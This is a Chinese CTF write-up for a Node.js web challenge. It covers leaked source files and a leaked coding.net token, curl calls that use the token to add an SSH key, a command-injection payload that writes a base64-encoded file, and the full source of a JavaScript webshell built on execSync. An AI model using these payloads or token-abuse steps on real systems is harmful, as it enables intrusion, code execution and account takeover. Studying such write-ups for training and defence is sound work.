DAS4-你听说过 js 的 webshell 吗的解题思路

题目信息

题目名 类型 难度
DAS4-你听说过 js 的 webshell 吗 WEB 困难

FLAG

  • DASCTF{test_flag}

知识点

  1. 代码审计 nodejs
  2. 命令执行
  3. nodejs 源代码泄漏
  4. coding 其他 git 托管凭据泄漏

解题步骤

基本信息

打开网页

截屏2022-12-03 23.22.05

直接打开 f12 发现 api 与注释

截屏2022-12-03 23.22.45

目录扫描

这里其实想说的是扫描该网站 看看有没有发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ dirsearch -u http://127.0.0.1 # 这里不需要引入任何字典 泄漏的文件相当常见

_|. _ _ _ _ _ _|_ v0.4.2.8
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11458

Output File: /tmp/reports/

Target: http://127.0.0.1/

[23:23:56] Starting:
[23:23:56] 403 - 9B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[23:23:56] 403 - 9B - /%2e%2e//google.com
[23:23:58] 400 - 14B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[23:24:00] 200 - 679B - /app.js
[23:24:01] 403 - 9B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[23:24:02] 200 - 439B - /config.js
[23:24:03] 200 - 170B - /Dockerfile
[23:24:07] 200 - 627B - /package.json
[23:24:07] 200 - 29KB - /package-lock.json
[23:24:08] 200 - 9B - /Readme.md
[23:24:08] 200 - 9B - /README.md
[23:24:08] 200 - 9B - /README.MD
[23:24:08] 200 - 9B - /ReadMe.md
[23:24:08] 200 - 9B - /readme.md
[23:24:12] 200 - 6KB - /views

Task Completed

入口点发现

发现存在相关的 js web 文件 尝试查看是否有其他泄漏。

  • app.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    const Koa        = require('koa')
    const bodyparser = require('koa-bodyparser')()
    const static = require('koa-static')
    const cors = require('./cors')
    const template = require('./middlewares/template')
    const route = require('./middlewares/route')
    const api = require('./middlewares/api')
    const listen = require('./middlewares/listen')
    const production = process.env.NODE_ENV === 'production'

    const app = new Koa()

    app
    .use(static('./'))
    .use(template('views', {
    // noCache: !production,
    // watch : !production
    }))
    .use(bodyparser)
    .use(cors)
    .use(route)
    .use(api)

    listen(app)
  • package.json

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    {
    "name": "updater",
    "version": "2.0.0",
    "description": "> v0.0.1",
    "main": "app.js",
    "dependencies": {
    "axios": "^0.21.1",
    "koa": "^2.13.0",
    "koa-bodyparser": "^4.3.0",
    "koa-router": "^9.1.0",
    "koa-sslify": "^4.0.3",
    "koa-static": "^5.0.0",
    "koa2-cors": "^2.0.6",
    "nunjucks": "^3.2.2"
    },
    "devDependencies": {},
    "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "dev": "pm2 start ecosystem.config.js",
    "prod": "pm2 start ecosystem.config.js --env production"
    },
    "license": "ISC"
    }

  • Readme

    1
    # updater
  • config.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    const CONFIG = {
    server: {
    domain: 'test.example.com',
    pact: 'https',
    host: '0.0.0.0',
    port: '443',
    },
    coding: {
    username: 'test@test.com',
    password: 'IAmTheCodeMaster',
    apiKey: 'flag{This is fake flag}:-)',
    }
    }

    if (process.env.NODE_ENV === 'development') {
    CONFIG.server.pact = 'http',
    CONFIG.server.port = '80'
    }

    module.exports = CONFIG

    这里提到了 coding 还有用户名密码 (假的)并不知道 coding 是什么的情况下。 网站也没有登陆口。

  • Dockerfile

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    FROM node:16
    WORKDIR /app
    COPY . /app

    RUN npm install && npm install -g pm2

    EXPOSE 443
    EXPOSE 80
    CMD ["pm2-runtime", "/app/ecosystem.config.js", "--env", "production"]

这里所有的证据都说明了 这个网站泄漏了源代码 也就是 js 文件

接下来测试是否存在 ecosystem.config.js 文件 来验证这个结论

我们可以试试 https://127.0.0.1/ecosystem.config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// Options reference: https://pm2.keymetrics.io/docs/usage/application-declaration/
const package = require('./package.json')

module.exports = {
apps: [{
name : package.name,
script : 'app.js',
args : 'one two',
instances : 1,
autorestart : true,
watch : true,
ignore_watch : ['node_modules', 'logs', '.git', 'statics'],
error_file : 'logs/err.log',
out_file : 'logs/out.log',
log_file : 'logs/all.log',
log_date_format : 'YYYY-MM-DD HH:mm:ss',
max_memory_restart : '1G',
env: {
NODE_ENV : 'development',
},
env_production: {
NODE_ENV : 'production',
}
}],
deploy: {
production: {
// host : CONFIG.remote.host,
// user : CONFIG.remote.user,
// path : CONFIG.remote.path,
// repo : CONFIG.git.ssh,
// ref : CONFIG.git.ref,
'post-deploy' : 'npm install && pm2 reload ecosystem.config.js --env production'
}
}
};

很明显是存在 js 代码泄漏的

检查 middleware

通过 app.js 文件

可以翻找到 如下的库与中间件

1
2
3
4
const template   = require('./middlewares/template')
const route = require('./middlewares/route')
const api = require('./middlewares/api')
const listen = require('./middlewares/listen')

api listen route template 四个分别通过依赖注入的方式引入

这里直接去看 api

对于 api 分别尝试这三个文件

1
2
3
https://127.0.0.1/middlewares/api.js
https://127.0.0.1/middlewares/api
https://127.0.0.1/middlewares/api/index.js

可以发现 index.js 有返回

如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const fs       = require('fs')
const path = require('path')
const router = require('koa-router')()
const tools = require('../../utils')
const Response = require('../response')

// apiPath 为 当前目录的上上级 也就是 / 下 是可以访问的
const apiPath = path.join(__dirname, '../../api')

// 这里是网站自己实现的 CGI
// 动态的在 api 文件夹下所有的 js 文件注册进来 并且赋予对应的 path
function registeApi (dir) {
// 遍历目录下所有文件
fs.readdirSync(dir).forEach(fileName => {
// 文件完整路径
const filePath = path.join(dir, fileName)

// 若该文件为目录,则继续遍历该目录下所有文件
if (fs.statSync(filePath).isDirectory()) return registeApi(filePath)
// 忽略入口文件
// if (filePath.endsWith('index.js')) return
// 忽略非 js 文件
if (!filePath.endsWith('.js')) return console.info('非 JS 文件不要放在 api 目录下' + filePath)

regist(filePath);
})
}

// 注册单个 api
function regist(filePath) {
// API
// 通过 filePath 引入
const api = require(filePath)
// API 名称
const apiName = getApiName(filePath)

// 遍历请求方式
for (const type of Object.keys(api)) {
// 响应操作 写入 router
router[type](apiName, async (ctx) => {
await api[type](getRequest(ctx), new Response(ctx))
})
// 打印接口信息
apiLog(type, apiName)
}
}

// 去掉 .js
function getApiName(filePath) {
return filePath.cutEnd(3)
.replace(apiPath, '')
.replace(/\\/g, '/')
}

function getRequest(ctx) {
return {
params : { ...ctx.request.body, ...tools.getUrlParams(ctx.request.url) },
page : tools.getPagination(ctx),
ctx,
}
}

function apiLog (type, apiName, apiIntro = '') {
console.info(`${apiIntro}\n[${type.toUpperCase()}]: ${apiName}\n****************************************`)
}

// require 时注册 APIPATH
registeApi(apiPath)

module.exports = (() => router.routes())()

整理逻辑 发现端倪

在 /api/XXX 下的 任何 /api/path/to/api.js 都会被注册成 /path/to/api

那么 查看 / 下的所有请求出去的 api 你可以直接 grep 拿到如下的数据

1
2
3
4
5
<script src="https://fastly.jsdelivr.net/npm/axios@0.21.1/dist/axios.min.js"></script>
axios.get('/v2/coding/projectList')
axios.get('/v2/coding/versionList', {
axios.get('/v2/coding/distList', {
return (await axios.get('/v2/coding/distExist', {

一共 4 个 api

无论是哪个 api 你都可以进行跟踪

例如第二个 api /v2/coding/versionList 所在的位置根据上面 middleware/api 的推断

可以发现放在了如下的位置

喜欢写注释真是好程序员 (确信)

1
/api/v2/coding/versionList.js

访问后我们可以得到如下的 js 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const path = require('path')
const coding = require('../../../request/coding')

const distExtname = [
'.tgz',
'.exe',
'.dmg',
'.AppImage',
]

module.exports = {
async get(request, response) {
const ProjectId = Number(request.params.ProjectId)

let data = []
// post to 一个后端
const storeList = (await coding.post('/open-api', {
Action: 'DescribeProjectDepotInfoList',
ProjectId,
})).data.Response.DepotData.Depots

for (const store of storeList) {
const versionList = (await coding.post('/open-api', {
Action: 'DescribeGitReleases',
DepotId: Number(store.Id),
Status: 1,
PageNumber: 1,
PageSize: 100,
})).data.Response.ReleasePageList.Releases

data = [...data, ...versionList]
}

data.sort((a, b) => a.TagName < b.TagName ? 1 : -1)

response.setData(data)
response.success()
}
}

我们可以发现他是另一个后端 api 的代理 而那个后端定义在 request/coding 中

获得 token

我们可以通过相对的路径得到 url

访问 http://127.0.0.1/request/coding.js 中获取

1
2
3
4
5
6
7
8
9
10
11
12
13
const axios = require('axios')

// Access Token
const codingToken = 'token e(This_Is_real_Token)c'

const coding = axios.create({
baseURL: 'https://e.coding.net',
headers: {
Authorization: codingToken,
},
})

module.exports = coding

网上搜索 e.coding.net 发现是一个 devops 平台 具有相当的利用价值

同时这里也暴露了 对应的 Token

接管用户账户

进一步使用搜索引擎可以发现对应的 openapi 文档 https://coding.net/help/openapi

如果发现了项目 https://github.com/Esonhugh/tencent-coding-openapi/

这里提供了非常方便的利用工具 可以一键列出项目和仓库 并且可以增加 ssh keys 只需要导入一个 api token 即可。

发现是个人 api (token 开头)

列出项目

1
2
3
4
5
6
7
8
9
curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{
"Action": "DescribeCodingProjects",
"PageNumber": 1,
"PageSize": 10
}'
# python usage
python ./digging-shell.py list_projects
ic| r.status_code: 200
ic| r.headers: Headers({'server': 'Nginx', 'date': 'Mon, 17 Apr 2023 11:04:54 GMT', 'content-type': 'application/json', 'transfer-encoding': 'chunked', 'connection': 'keep-alive', 'content-encoding': 'gzip', 'x-target-env': 'prod_with_canary'})

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"Response": {
"RequestId": "10bcd5a9-7d9a-4a80-a1ec-e833d4c89d77",
"Data": {
"PageNumber": 1,
"PageSize": 10,
"TotalCount": 1,
"ProjectList": [
{
"Id": 11680350,
"CreatedAt": 1678157689000,
"UpdatedAt": 1678157689000,
"Status": 1,
"Type": 2,
"MaxMember": 0,
"Name": "leak-token-leak-git",
"DisplayName": "leak my git",
"Description": "Wow! you got there! SuperCool man!",
"Icon": "https://e.coding.net/static/project_icon/scenery-version-2-10.svg",
"TeamOwnerId": 3921812,
"UserOwnerId": 0,
"StartDate": 0,
"EndDate": 0,
"TeamId": 3921812,
"IsDemo": false,
"Archived": false,
"ProgramIds": []
}
]
}
}
}

列出仓库

1
2
3
4
5
6
7
8
curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{
"Action": "DescribeProjectDepotInfoList",
"ProjectId": 11414022
}'
# python usage
python ./digging-shell.py list_repos
ic| r.status_code: 200
ic| r.headers: Headers({'server': 'Nginx', 'date': 'Mon, 17 Apr 2023 11:04:00 GMT', 'content-type': 'application/json', 'transfer-encoding': 'chunked', 'connection': 'keep-alive', 'content-encoding': 'gzip', 'x-target-env': 'prod_with_canary'})

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"Response": {
"RequestId": "1b4dee8f-afce-4495-8e8b-d776c8097397",
"DepotData": {
"Depots": [
{
"Id": 10467875,
"Name": "leak-source-code",
"HttpsUrl": "https://e.coding.net/vuln-git/leak-token-leak-git/leak-source-code.git",
"ProjectId": 11680350,
"SshUrl": "git@e.coding.net:vuln-git/leak-token-leak-git/leak-source-code.git",
"WebUrl": "https://vuln-git.coding.net/p/leak-token-leak-git/d/leak-source-code",
"VcsType": "git",
"ProjectName": "leak-token-leak-git",
"Description": "Got there!",
"CreatedAt": 1678157728000,
"LastPushAt": 0
}
],
"Page": {
"PageNumber": 1,
"PageSize": 1,
"TotalPage": 1,
"TotalRow": 1
}
}
}
}

发现要登陆 尝试获取 sshkey

创建 sshkey

1
2
3
4
5
6
7
8
curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{
"Action": "CreateSshKey",
"Title": "Hacker",
"Content": "ssh-rsa AAAA== rsatest",
"ExpirationDate": "9999-12-31"
}'
# python usage
python ./digging-shell.py add_ssh_key sshkey.rsa

成功后 git clone git@e.coding.net:XXXXX/XXXX/XXXX.git

项目源代码

进行审计。 把起来项目跑起来。

可以在 api 文件夹中找到一个 /v3/UpdateAllProduct.js 文件 这个文件也是可以使用的 api 在 html 主页中可以找到对应的文件泄漏。

存在命令注入的可能 注入非常的简单 projectName 之类的参数都可以注入 因为这些是直接拼接进去的。

正式的题目环境应该是禁止反向 shell 连接出来的

第一种办法是纯粹的无回显的布尔命令注入

但是这里滥用一下代码中的存在的 js CGI 魔法 我们可以尝试写入一个 webshell js 来进行 Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
# use as curl
curl "https://127.0.0.1/v3/UpdateAllProduct" \
-H 'x-coding-event: ping1' \
-X POST -k \
--data-raw "artifact.artifactRepoName=12&artifact.artifactPkgName=\";echo ${BASE64WEBSHELL}|base64 -d > /app/api/v2/badWebShell.js #\"&artifact.artifactVersionName=1.4&artifact.projectName=testing"
# python usage
python digging-shell.py upload_shell ./upload_shell.js https://nodejs-hack.cloud.eson.ninja
# https://nodejs-hack.cloud.eson.ninja replace your url 不要加 / 我的服务是禁止nodejs 外连其他服务 所以会导致内部的js的命令拼接执行时候的 curl 失效,导致一次 500 ,否则会返回服务正常更新的 json
# output like following
ic| file_data: 'Y29uc3<base64ed file data>AAA='
Traceback (most recent call last):
.....
httpx.ReadTimeout: The read operation timed out

其中 BASE64WEBSHELL 的值为 js webshell 的样本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const fs = require('fs')
const path = require('path')
const { execSync } = require('child_process')

module.exports = {
// API POST
async post(request, response) {
// console.log(request.params)
artifactPkgName = request.params.artifactPkgName
// Save Path
const localDir = __dirname
// curl command
const curlCMD = artifactPkgName
// Create Path
fs.mkdirSync(localDir, { recursive: true })
// download artificate
ResponseData = execSync(curlCMD, { cwd: localDir }).toString()
// Response
response.success(ResponseData)
}
}

由于 pm2 会自动托管和加载 api 文件夹下的 js 文件 所以我们可以直接访问 webshell

webshell 链接地址为 https://127.0.0.1/v2/badWebShell 请求方式为 POST

POST Form 的内容为 ‘artifactPkgName={CMD}’

参考 check-shell 函数

1
2
3
4
5
python ./digging-shell.py get_shell https://nodejs-hack.cloud.eson.ninja ls # replace ls as your command. and replace https://nodejs-hack.cloud.eson.ninja as your url and also no / behind.
ic| command: 'ls'
ic| resp.status_code: 200
badWebShell.js
coding

Flag

拿到 webshell 之后 cat /flag 即可拿到 flag

flag 是 mount 进入容器进程中的 不要放到 /app 目录下即可